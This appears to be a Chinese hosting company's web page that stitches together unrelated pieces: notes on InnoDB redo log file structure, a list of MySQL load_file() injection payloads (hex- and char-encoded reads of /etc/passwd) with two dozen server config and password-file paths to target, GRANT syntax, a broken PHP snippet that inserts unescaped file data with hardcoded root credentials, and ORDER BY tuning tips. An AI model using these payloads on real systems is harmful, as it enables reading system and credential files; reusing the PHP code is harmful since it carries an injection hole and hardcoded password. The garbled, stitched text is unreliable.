重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
Log File物理结构
网站建设哪家好,找成都创新互联!专注于网页设计、网站建设、微信开发、小程序定制开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了合山免费建站欢迎大家使用!
从 ib_logfile0和 ib_logfile1这两个文件的物理结构可以看出,在Log Header部分还是有些许差异的, ib_logfile0会多一些额外的信息,主要是checkpoint信息。
并且每个Block的单位是512字节,对应到磁盘每个扇区也是512字节,因此redo log写磁盘是原子写,保证能够写成功,而不像index page一样需要double write来保证安全写入。
我们依次从上到下来看每个Block的结构
Log File Header Block
Log Goup ID,可能会配置多个redo组,每个组对应一个id,当前都是0,占用4字节
Start LSN,这个redo log文件开始日志的lsn,占用8字节
Log File Number,总是为0,占用4字节
Created By,备份程序所占用的字节数,占用32字节
另外在ib_logfile0中会有两个checkpoint block,分别是 LOG_CHECKPOINT_1/ LOG_CHECKPOINT_2,两个记录InnoDB Checkpoint信息的字段,分别从文件头的第二个和第四个block开始记录,并且只在每组log的第一个文件中存在,组内其他文件虽然没有checkpoint相关信息,但是也会预留相应的空间出来。这里为什么有两个checkpoint的呢?原因是设计为交替写入,避免因为介质失败而导致无法找到可用的checkpoint的情况。
Log blocks
请点击输入图片描述
log block结构分为日志头段、日志记录、日志尾部
Block Header,占用12字节
Data部分
Block tailer,占用4字节
Block Header
这个部分是每个Block的头部,主要记录的块的信息
Block Number,表示这是第几个block,占用4字节,是通过LSN计算得来的,占用4字节
Block data len,表示该block中有多少字节已经被使用了,占用2字节
First Rec offet,表示该block中作为第一个新的mtr开始的偏移量,占用2字节
Checkpoint number,表示该log block最后被写入时的检查点的值,占用4字节
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 替换成空格 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:APACHEApache2confhttpd.conf
9、C:Program Filesmysqlmy.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini
24、c:windowsmy.ini
当权限1,权限2
mysql grant 权限1,权限2,…权限n on 名称.表名称 to 用户名@用户地址 identified by ‘连接口令’;
权限1,权限2,…权限n代表select,insert,update,delete,create,drop,index,alter,grant,references,reload,shutdown,process,file等14个权限。
当权限1,权限2,…权限n被all privileges或者all代替,表示赋予用户全部权限。
当数据库名称.表名称被*.*代替,表示赋予用户操作服务器上所有数据库所有表的权限。
用户地址可以是localhost,也可以是ip地址、机器名字、域名。也可以用’%表示从任何地址连接。
‘连接口令’不能为空,否则创建失败。
?php
$txt=file('aaa.txt');
echo $txt[0];
echo $txt[1];//读取第2行内容。因为数组的默认键值是0开始的
mysql_connect('127.0.0.1','root','123456');
$sql="insert into text.tab (a,b) values('$txt[0]', '$txt[1]')";
if (mysql_query($sql)) echo '插入数据库成功';
else '插入数据库失败,SQL语句:$sqlbr错误:".mysql_error();
mysql_close();
?
后面几行是我添加的内容,数据库所在服务器127.0.0.1、用户名root、密码123456、数据库test、表tab,你可能需要修改这些内容。
1、利用有序索引获取有序数据: using index
2、文件排序: using filesort
如果索引不能用于满足 ORDER BY 子句,MySQL 将执行 filesort 读取表行并对它们进行排序的操作。内存大小根据 sort_buffer_size 系统变量来控制(每个thread独享的,同一时刻在mysql可能存在多个sort buffer区域),如果结果集太大无法在内存中,就会使用临时磁盘文件
1、使用索引并且只选择索引列
如果还必须读取不在索引中的列 select * ,全表扫描快就不走索引了
例子:game_order_info建立复合索引(game_id,source_id)
2、 key_part1 是常量,所以通过索引访问的所有行都是 key_part2 有序的,如果子句有足够的选择性使得索引范围扫描比表扫描便宜,则索引可以避免排序: ( key_part1 , key_part2 )
例子:
3、 key_part1 将与一个常量进行比较。如果 WHERE 子句的选择性足以使索引范围扫描比表扫描的行少,则使用索引
4、 ORDER BY 没有 key_part1 ,但所有选定的行都有一个常 key_part1 量值,因此仍然可以使用索引:
MySQL 5.7及以下版本, GROUP BY 在某些条件下隐式排序。在 MySQL 8.0 中,这种情况不再发生,因此 ORDER BY NULL 不再需要在末尾指定抑制隐式排序。但是,查询结果可能与以前的 MySQL 版本不同。要生成给定的排序顺序,需要 ORDER BY 子句
1、 order by 后的字段使用索引,查询少量的数据,使得在内存中进行排序
2、增加 sort_buffer_size 变量值,结果集排序缓冲区
3、增加 read_rnd_buffer_size 变量值,以便一次读取多行
4、将 tmpdir 系统变量更改为指向具有大量可用空间的专用文件系统
参考: